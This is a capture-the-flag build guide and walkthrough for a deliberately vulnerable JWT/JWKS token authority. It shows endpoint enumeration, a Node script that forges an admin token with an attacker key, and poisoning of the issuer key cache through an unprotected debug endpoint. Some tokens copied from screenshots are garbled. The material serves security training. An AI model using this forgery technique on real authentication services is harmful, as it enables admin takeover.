

# BUILD CHALLENGE

Noisy Quill Authority  
(JWS/JWT CTF)

**Build Challenge:** Noisy Quill Authority (JWS/JWT CTF)

**Table of Contents**

<b>CHALLENGE OVERVIEW .....</b>	<b>2</b>
<b>BUILD INSTRUCTIONS .....</b>	<b>4</b>
A.    Run with Docker .....	4
B.    Run with Node .....	4
<b>WALKTHROUGH – INTENDED EXPLOIT PATH .....</b>	<b>5</b>
1.    Initial Enumeration.....	5
2.    Login to obtain tenant token .....	6
3.    Build malicious JWKS & forged-admin JWT .....	7
4.    Poison the cache .....	9
<b>BIBLIOGRAPHY .....</b>	<b>11</b>

## Challenge Overview

### Description

A deliberately vulnerable JWKS/JWT web/API challenge that simulates a multi-tenant token authority. Players receive one low-privilege credential (`customer:strong@password`) and must enumerate the API, understand JOSE basics (JWT, JWKS, iss/aud/kid), and exploit a JWKS cache poisoning flaw to forge an admin token and retrieve the flag.

- Category: Web/API
- Focus: JWKS handling, token verification logic, header/claims interplay
- Difficulty: Medium

### Context and Motivation

This challenge simulates a common but subtle vulnerability class found in modern, multi-tenant authentication systems. In the real world, Software-as-a-Service (SaaS) platforms often act as a central Single Sign-On (SSO) authority for many different "tenants". To support this, these systems must dynamically manage token verification keys, often by fetching a unique JWKS from a URL specified by each tenant.

The "Noisy Quill Authority" challenge models this exact scenario. The fictional "NOISY\_ECHIDNA" corporation runs a "quill verification service" for its various tenants. Critically, it **reuses this same verification infrastructure** for its own internal, high-privilege admin tokens. This design choice, combined with a seemingly harmless debug feature, creates the central flaw. The vulnerability is a practical example of real-world attack vectors, mapping directly to **OWASP A01 (Broken Access Control)** and **A07 (Identification & Authentication Failures)** (OWASP, 2025).

### The Core Flaw: JWKS Cache Poisoning

The service exposes an insecure debug endpoint, `POST /api/debug/jwks-test`. This endpoint, intended to help customers debug their own integrations, allows any authenticated user to do two things:

1. Specify an issuer string.
2. Provide an arbitrary `jwks_url`.

The application dutifully fetches the keys from the provided URL and, most critically, **stores them in the same global cache** used by the production verification middleware. This specific attack pattern is highly similar to the cache-poisoning vulnerability class described in CVE-2025-59936 (GitLab, 2025).

## **Build Challenge:** Noisy Quill Authority (JWS/JWT CTF)

There is no access control on the debug endpoint and no separation between the "debug" cache and the "production" cache. An attacker, even one with a low-privilege customer token, can use this endpoint to poison the cache. They can tell the server that the keys for the internal admin issuer are located at an attacker-controlled URL. From that point, the server will trust the attacker's malicious JWKS for validating all subsequent admin tokens. The attacker can then forge a token with admin claims (`role: "admin"`), sign it with their own private key (which corresponds to the public key in their malicious JWKS), and send it to the `/api/admin` endpoint. The server, having been misled to trust the attacker's key, will validate the forged token and grant access to the flag.

## Build Instructions

Clone the repo:

```
git clone https://github.com/ThienTuTran/noisy-quill-authority.git
```

### A. Run with Docker

1. Copy .env

```
cp .env.example .env
```

2. Build with docker

```
docker compose up -d --build
```

### B. Run with Node

1. Install dependencies

```
npm ci
```

3. Copy .env

```
cp .env.example .env
```

2. Edit .env

Uncomment the `DEMO_CUSTOMER_PASS_HASH` variable associated with `docker-run-dev` and ensure the one for `docker-compose-up` is commented out

```
# # docker-run-dev
# DEMO_CUSTOMER_PASS_HASH=$2b$10$QLPjSeBHWNP/VvHB3s0eE0JLcbC80CE8bJIINiL94An8FwX0T9Nh2
# docker-compose-up
DEMO_CUSTOMER_PASS_HASH=$2b$10$$QLPjSeBHWNP/VvHB3s0eE0JLcbC80CE8bJIINiL94An8FwX0T9Nh2
```

3. Run dev

```
npm run dev
```

Quill Authority listens on port 8080.

## Walkthrough – Intended Exploit Path

### 1. Initial Enumeration

Let's begin with directory brute-forcing on the root of the site using Gobuster:

```
gobuster dir -u http://192.168.64.1:8080/ --wordlist  
/usr/share/wordlists/dirb/common.txt -q
```

```
└$ gobuster dir -u http://192.168.64.1:8080/ --wordlist /usr/share/wordlists/dirb/common.txt -q  
/api  
          (Status: 403) [Size: 9]  
/robots.txt  
          (Status: 200) [Size: 35]
```

→ Immediately reveals two interesting paths, /api, robots.txt

Inspect robots.txt

```
curl -s http://192.168.64.1:8080/robots.txt
```

```
└$ curl -s http://192.168.64.1:8080/robots.txt  
User-agent: *  
Disallow: /api/admin
```

→ This strongly suggests that /api/admin is the sensitive endpoint likely protecting the flag.

Next, Let's enumerate the /api namespace:

```
gobuster dir -u http://192.168.64.1:8080/api/ --wordlist  
/usr/share/seclists/Discovery/Web-Content/raft-small-directories-  
lowercase.txt -q
```

```
└$ gobuster dir -u http://192.168.64.1:8080/api/ --wordlist /usr/share/seclists/Discovery/Web-Content/  
raft-small-directories-lowercase.txt -q  
/login  
          (Status: 200) [Size: 143]  
/admin  
          (Status: 401) [Size: 32]  
/profile  
          (Status: 401) [Size: 32]  
/debug  
          (Status: 401) [Size: 32]
```

→ Reveals /login, /profile, /admin, /debug

Probing an endpoint such as /api/admin with curl:

```
└$ curl -s http://192.168.64.1:8080/api/admin  
{"error": "missing bearer token"}
```

→ Confirming that the API enforces JWT-based authentication.

The natural next step is to understand the login flow, so let's query /api/login to view its shape:

```
curl -s http://192.168.64.1:8080/api/login | jq .
```

## Build Challenge: Noisy Quill Authority (JWS/JWT CTF)

```
$ curl -s http://192.168.64.1:8080/api/login | jq .
{
  "endpoint": "/api/login",
  "method": "POST",
  "body": {
    "username": "string",
    "password": "string"
  },
  "behavior": "Authenticates a user and returns a JWT."
}
```

- As expected, confirmed it expects a JSON body with `username` and `password` and returns a JWT on success

## 2. Login to obtain tenant token

Send a POST Request to `/api/login` with the provided tenant credentials. This time, I use Burp for convenience.

The screenshot shows the Burp Suite interface with two panes: Request and Response.

**Request:**

```
1 POST /api/login HTTP/1.1
2 Host: 192.168.64.1:8080
3 Content-Type: application/json
4 Content-Length: 56
5
6 {
7   "username": "customer",
8   "password": "strong@password"
9 }
10
```

**Response:**

```
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 636
5 ETag: W/"27c-tfGc4l0pOaTtAFe0h8SBd/+5C8"
6 Date: Sun, 09 Nov 2025 02:46:56 GMT
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9
10 {
  "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6ImNlc3RvbWVyLWtleSJ9.eyJyb2xlIjoidXNlcIisInNlYiI6ImNlc3RvbWVyiLiwaXNzIjoiY3VzdG9tZXItaXNzdWVyiLiwiYXVkJioicXVpbGwtY3VzdG9tZXiiLCJpYXQiOjE3NjI2NTY0MTYsInV4cCI6MTC2MjY2MDAxNn0.LUsse0rYv1zebWGQoE7vN6-Pj3kYsDQHLMHt2h2bIJZvF_wPpyt_SOIy2UsF_ufKPCTF77vewyK4-w0eUMmuWNDALrMu9W3-Xxj08BivqbNDisShquewelZRSPPudysPskW1FJM4-Avyow7rASHD0o401f6tLAQCcwdeIVuqX4Z3zHbVhvnsIlTDxy-eCwzL_TTRrc0X3_myVIDryIIiigmNlviir70SAkF0_Flf2tgnbdCditnuvrs3K45BSkhQdzMlDW-dpoYWknND2DjYH-HhCOMBTblsUF_mgBcfnOr2iXxag04akZY-wVARnQntjW_tbKtH5jivhCsdBw",
  "issuer": "customer-issuer",
  "aud": "quill-customer",
  "role": "user",
  "sub": "customer"
}
```

The server returns a signed JWT, which I then supply as a Bearer token to call `/api/profile`.

The screenshot shows the Burp Suite interface with two panes: Request and Response.

**Request:**

```
1 GET /api/profile HTTP/1.1
2 Host: 192.168.64.1:8080
3 Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImNlc3RvbWVyLWtleSJ9.eyJyb2xlIjoidXNlcIisInNlYiI6ImNlc3RvbWVyiLiwaXNzIjoiY3VzdG9tZXItaXNzdWVyiLiwiYXVkJioicXVpbGwtY3VzdG9tZXiiLCJpYXQiOjE3NjI2NTY0MTYsInV4cCI6MTC2MjY2MDAxNn0.LUsse0rYv1zebWGQoE7vN6-Pj3kYsDQHLMHt2h2bIJZvF_wPpyt_SOIy2UsF_ufKPCTF77vewyK4-w0eUMmuWNDALrMu9W3-Xxj08BivqbNDisShquewelZRSPPudysPskW1FJM4-Avyow7rASHD0o401f6tLAQCcwdeIVuqX4Z3zHbVhvnsIlTDxy-eCwzL_TTRrc0X3_myVIDryIIiigmNlviir70SAkF0_Flf2tgnbdCditnuvrs3K45BSkhQdzMlDW-dpoYWknND2DjYH-HhCOMBTblsUF_mgBcfnOr2iXxag04akZY-wVARnQntjW_tbKtH5jivhCsdBw
```

**Response:**

```
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 30
5 ETag: W/"1e-UUOPmboFFxsTTBd2Mqusj+j73j8"
6 Date: Sun, 09 Nov 2025 02:55:44 GMT
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9
10 {
  "message": "Welcome customer"
}
```

The response verifies that the token is valid and that I have tenant-level access. Attempting the same token on `/api/admin` results in `{"error": "admin only"}`, indicating the token's role is insufficient.

## **Build Challenge: Noisy Quill Authority (JWS/JWT CTF)**

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /api/admin HTTP/1.1 2 Host: 192.168.64.1:8080 3 Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImNlc3RvbWVtLWtLeSJ9.ejYjb2xlIjoidXNlcIisInIYiEi6ImNlc3RvbWVtYiwiiaXNzIjoiY3VzdG9tZXItaXNzdWVtYiwiYXVtIjicXpbGwtY3zd9tZXtIiLCJpYXQiOjE53IjT2NTYOMtysImV4cCI6MTc2MjY2MDAxN0.ULuse0Y1zebWG0gE7vN6-Pj3kYsDQHLMLt2h2bIjZvF_vPypyS0Iy2usF_ufKPCpCTF77veyK4-w0eUMmuNDALrMuLw93-Xj3jQ88ivqbNDis5hqueweiZRSPPudsPsKwIFJM4-Avyow7rASHD0o40f6tLAQCCwdeIVuqX4Z3zHbVhvnSILTDxy-eCwZl_TRTRcOX3_rmyVIDryIIigmNlviiRt70SaKFo_F1f2tgnbdCditnurys3k45BskHqdZMLDW-dpoYmknnD2DjYH-HhComBTb1sUF_mgBcfnOr2ixXag04akZY-wvAPRnQntj_wtbKtH5jivhCsdbw	1 HTTP/1.1 403 Forbidden 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 22 5 ETag: W/"16-RBStzefVAeu7/v1NoQRwcTKyHUV" 6 Date: Sun, 09 Nov 2025 02:54:27 GMT 7 Connection: keep-alive 8 Keep-Alive: timeout=5 9 10 { "error": "admin only" }

Let's query `/api/debug` to gather more information about the verification logic.

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /api/debug HTTP/1.1 2 Host: 192.168.64.1:8080 3 Authorization: Bearer eyJhbGciOiJSUzIiNiIsImtpZC16ImNlc3RvbWVyLWtIeSJ9.eyJb2xlIjoi dXNlciISInN1YiE6ImNlc3RvbWVyIiwiAxNzIjoiY3Vzd9tZXItaNzndWVYI iwiYXVxKijoiocIXVpbGwTY3Vzd9tZXIxLCjpxYXojoESNIi2NTYOMTysImV4cC I6Mtc2MjY2MDAxNn0.Luse0rYv1ZebwG0gE7vN6-Pj3kYsDQHLMLt2h2b1JJZ vF_wPpty_S0Iy2UsF_ufKPCcTF77veywK4-w0eUMmuWNDALrIu9W3-XJxjQ8 BiqvqbNDisQuqewelZRSPPDudsPsKw1FJM4-Avyow7rASHD0o401f6tLAQCW deIVuqX4Z3zBhVhnS1TDXy-eCwzl_TRTRc0X3_rmyVIDryIIligNmNviiRt7 0SaKf0_F1f2tgnbdCditnurys3K45BSkhQdZMLDW-dpoYWknND2djYH-HhCom BTb1sUF_mgBcfnOr2iXxag04akZY-wVARnQntjW_tbKtH5jivhCSdBw	1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 240 5 ETag: "W/"f0-vk3nvB-rqk0RqNTFdvt+e89jNZo" 6 Date: Sun, 09 Nov 2025 02:58:59 GMT 7 Connection: keep-alive 8 Keep-Alive: timeout=5 9 10 { "endpoint": "/api/debug/jwks-test", "method": "POST", "body": { "issuer": "string", "jwks_url": "url", "token": "jwt" }, "behavior": "Fetches JWKs and caches it by issuer, then verifies the token against that cache.", "warning": "Not for production use." }

- Discovered a diagnostic endpoint that describes a JWKS refresh and verification workflow (a non-production helper), strongly hinting that the service fetches keys by issuer and caches them before verification

### 3. Build malicious JWKS & forged-admin JWT

With the verification model in hand, the objective is to serve our own JWKS and sign a token that the service will accept.

First, let's generate an RSA keypair with OpenSSL:

```
openssl genpkey -algorithm RSA -out attacker_private.pem -pkeyopt rsa_keygen_bits:2048
```

```
$ openssl genpkey -algorithm RSA -out attacker_private.pem -pkeyopt rsa_keygen_bits:2048
```

```
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
```

## Build Challenge: Noisy Quill Authority (JWS/JWT CTF)

```
L$ openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
writing RSA key
```

Before converting the public key to a JWK, we can decode the tenant JWT on [JWT Debugger](#) to confirm the header and claim conventions:

The screenshot shows the JWT Debugger interface. On the left, the 'ENCODED VALUE' section displays a long JSON Web Token (JWT) string. Above the token, there are buttons for 'COPY' and 'CLEAR'. To the right, under 'DECODED HEADER', is a JSON table showing the protected header claims:

JSON	CLAIMS TABLE
{	"alg": "RS256", "kid": "customer-key"

Below the header, under 'DECODED PAYLOAD', is another JSON table showing the payload claims:

JSON	CLAIMS TABLE
{	"role": "user", "sub": "customer", "iss": "customer-issuer", "aud": "quill-customer", "iat": 1762656416, "exp": 1762660016

Header confirms `alg: RS256` and a `kid` value. Payload shows tenant claims: `role: "user"`, `iss: "customer-issuer"`, `aud: "quill-customer"`, plus standard `iat/exp`.

By symmetry, the admin token should mirror this structure with:

- `iss: "noisy_echidna"`
- `aud: "quill-admin"`
- `role: "admin"`

Now, let's utilise Node.js for the key conversion and signing because the `jose` library provides a concise, standards-compliant API and keeps the demo fully cross-platform.

1. I export the attacker public key as a JWK and write a JWKS file containing a single key with `use: "sig"`, `alg: "RS256"`, and a custom `kid` that I will reference from the forged token.
2. I sign an admin JWT with `RS256`, set the protected header to `{alg: "RS256", kid: "attacker-kid"}`, and populate the claims with `iss: "noisy_echidna"`, `aud: "quill-admin"`, `role: "admin"`, and reasonable `iat/exp`.

```
node --input-type=module -e "
import fs from 'fs';
import { createPublicKey, createPrivateKey } from 'crypto';
import { exportJWK, SignJWT } from 'jose';

const pubPem = fs.readFileSync('attacker_public.pem', 'utf8');
const jwk = await exportJWK(createPublicKey(pubPem));
jwk.kid='attacker-key'; jwk.alg='RS256'; jwk.use='sig';
fs.writeFileSync('jwks.json', JSON.stringify({keys:[jwk]}), null, 2));
```

## Build Challenge: Noisy Quill Authority (JWS/JWT CTF)

```
const privPem = fs.readFileSync('attacker_private.pem', 'utf8');
const key      = createPrivateKey(privPem);
const now      = Math.floor(Date.now()/1000);

const tok = await new SignJWT({ role:'admin', sub:'echidna-admin' })
  .setProtectedHeader({ alg:'RS256', kid:'attacker-key' })
  .setIssuer('noisy_echidna')
  .setAudience('quill-admin')
  .setIssuedAt(now)
  .setExpirationTime(now + 900)
  .sign(key);

fs.writeFileSync('admin_token.txt', tok);
console.log('ok');
"
```

```
└$ node --input-type=module -e "
import fs from 'fs';
import { createPublicKey, createPrivateKey } from 'crypto';
import { exportJWK, SignJWT } from 'jose';

const pubPem = fs.readFileSync('attacker_public.pem','utf8');
const jwk    = await exportJWK(createPublicKey(pubPem));
jwk.kid='attacker-key'; jwk.alg='RS256'; jwk.use='sig';
fs.writeFileSync('jwks.json', JSON.stringify({keys:[jwk]}, null, 2));

const privPem = fs.readFileSync('attacker_private.pem','utf8');
const key      = createPrivateKey(privPem);
const now      = Math.floor(Date.now()/1000);

const tok = await new SignJWT({ role:'admin', sub:'echidna-admin' })
  .setProtectedHeader({ alg:'RS256', kid:'attacker-key' })
  .setIssuer('noisy_echidna')
  .setAudience('quill-admin')
  .setIssuedAt(now)
  .setExpirationTime(now + 900)
  .sign(key);

fs.writeFileSync('admin_token.txt', tok);
console.log('ok');
"
ok
```

The result is an `admin_token.txt` we can reuse in subsequent requests and a `jwks.json` we will serve to the target.

View the admin token:

```
└$ cat admin_token.txt
eyJhbGciOiJSUzI1NiIsImtpZCI6ImF0dGFja2VyLWtleSJ9.eyJb2xlIjoiYWRtaW4iLCJzdWIiOiJlY2hpZG5hLWFkbWluIiwiaXNzIjoibm9pc3lfZWNoaWRuYSIsImF1ZCI6InF1aWxsLWFkbWluIiwiaWF0IjoxNzYyNjY3DU0LCJleHAIoje3NjI2Njg3NTR9.t0V6ZmL30PcGhzDUh6oDvvBM2uPU97jfIgv1HVAu69SW0PV7kxT_iqomeEuH6-iaVqJ5ETL9XnrAv9RCxYtVT7AVYzLe3H0oij3iB7uRL5QZV2HUGdqCKdf3pm6-c5i7xZYi1JC08o6Prpm1UhTbSARJImR6yuq4wRte_V7Ls080wTNr-TCUiO0I5rnzaHuxz90uXddSGqIkUiq_K4a3TZJK8GA5oJf8fp2oW6ITXPMUj9GvEgr6NmF4v7AKrsXJiSvViMzfPVNa0AGKHEnnYbEmM9ftA_UZRgwm3DiC3ZsHKj3mH1pFHsVGBOFQUKtbq2jEtSwaNy8zLGbpQ
```

## 4. Poison the cache

To make the keyset reachable, I start a simple HTTP server in the working directory and serve `jwks.json` on port 8000.

## Build Challenge: Noisy Quill Authority (JWS/JWT CTF)

```
python3 -m http.server 8000
```

```
└ $ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Call POST /api/debug/jwks-test

Request		Response			
Pretty	Raw	Hex	Pretty	Raw	Hex
1 POST /api/debug/jwks-test HTTP/1.1 2 Host: 192.168.64.1:8080 3 Content-Type: application/json 4 Content-Length: 650 5 6 { 7     "issuer": "noisy_echidna", 8     "jwks_url": "http://192.168.64.2:8000/jwks.json", 9     "token": 10    "eyJhbGciOiJSUzI1NiIsImtpZCI6ImF0dGFja2VyLWtlesJ9 eyJyb2xlijo1Y2hpZG5hLWFkbWluIiwiXNzIjoibm9pc3fZWNoawRuySIisImF1ZCI6InFlawxsLWFkbWluIiwiWF0IjoxNzYnjY3ODUoLCJleHaiOjE3NjI2Njg3NTR9.t0V6ZmL30PcGhzDUh6oDvBM2uPU97jfqlq1HVAU69SWOPV7kxT_iqomeEuH6-iaVqJ5ETL9XnrAv9RCxYtVT7AVYzLe3H0ljl3B7uRL5QZV2HUJgdqCKdf_3pm6-c5i7xZYy11JC08o6Prpm1UhTbSARJ1mR6yuq4wRte_V7lS080wTNr-TCUio0ISrnzaHuxz90uXddsGgIkUiq_K4a3TzK8GA5ojf8fp2oW6ITXPMUj9GvEgr6NmF4v7AKrsXjiSvViMzfPVNa0AGKHennYbEmM9fTA_UZRgwm3DiC3zsHKj3mH1pFhsVGB0FQUktbq2jEtSwa8nNY8zLgbpQ"	10 { 11     "message": "Quill cache updated.", 12     "issuer": "noisy_echidna", 13     "valid": true 14 }				

The endpoint fetches the JWKS and verifies the token; on success, it updates the cache for that issuer and reports that the token is valid.

With the cache now pointing at my malicious JWKS for the `noisy_echidna` issuer, I send `GET /api/admin` using the forged token as the Bearer credential. The service validates the JWT against the cached key, authorizes the `admin` role, and returns the flag.

Request		Response			
Pretty	Raw	Hex	Pretty	Raw	Hex
1 GET /api/admin HTTP/1.1 2 Host: 192.168.64.1:8080 3 Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImF0dGFja2VyLWtlesJ9 eyJyb2xlijo1Y2hpZG5hLWFkbWluIiwiXNzIjoibm9pc3fZWNoawRuySIisImF1ZCI6InFlawxsLWFkbWluIiwiWF0IjoxNzYnjY3ODUoLCJleHaiOjE3NjI2Njg3NTR9.t0V6ZmL30PcGhzDUh6oDvBM2uPU97jfqlq1HVAU69SWOPV7kxT_iqomeEuH6-iaVqJ5ETL9XnrAv9RCxYtVT7AVYzLe3H0ljl3B7uRL5QZV2HUJgdqCKdf_3pm6-c5i7xZYy11JC08o6Prpm1UhTbSARJ1mR6yuq4wRte_V7lS080wTNr-TCUio0ISrnzaHuxz90uXddsGgIkUiq_K4a3TzK8GA5ojf8fp2oW6ITXPMUj9GvEgr6NmF4v7AKrsXjiSvViMzfPVNa0AGKHennYbEmM9fTA_UZRgwm3DiC3zsHKj3mH1pFhsVGB0FQUktbq2jEtSwa8nNY8zLgbpQ	10 { 11     "flag": "D5{noisy_echidna_flag}" 12 }				

## Bibliography

GeeksforGeeks. (2022, December 28). *Node.js keyObject.type Class*. GeeksforGeeks.

<https://www.geeksforgeeks.org/node-js/node-js-keyobject-type-class/>

GitLab. (2025, September 26). *CVE-2025-59936: Get-Jwks: Poisoned JWKS Cache Allows Post-Fetch Issuer Validation Bypass*. GitLab Advisory Database.

<https://advisories.gitlab.com/pkg/npm/get-jwks/CVE-2025-59936/>

Jones, M. B., Bradley, J., & Nat Sakimura. (2015). *RFC 7519: JSON Web Token (JWT)*.

IETF Datatracker. <https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1>

OWASP. (2025). *A01 Broken Access Control - OWASP Top 10:2025 RC1*. Owasp.org.

[https://owasp.org/Top10/2025/A01\\_2025-Broken\\_Access\\_Control/](https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/)

PortSwigger. (n.d.). *JWT attacks | Web Security Academy*. Portswigger.net.

<https://portswigger.net/web-security/jwt>

WittCode. (2024, February 13). *Dockerizing an Express App for Development and*

*Production*. YouTube. <https://www.youtube.com/watch?v=cGeX2bicno8>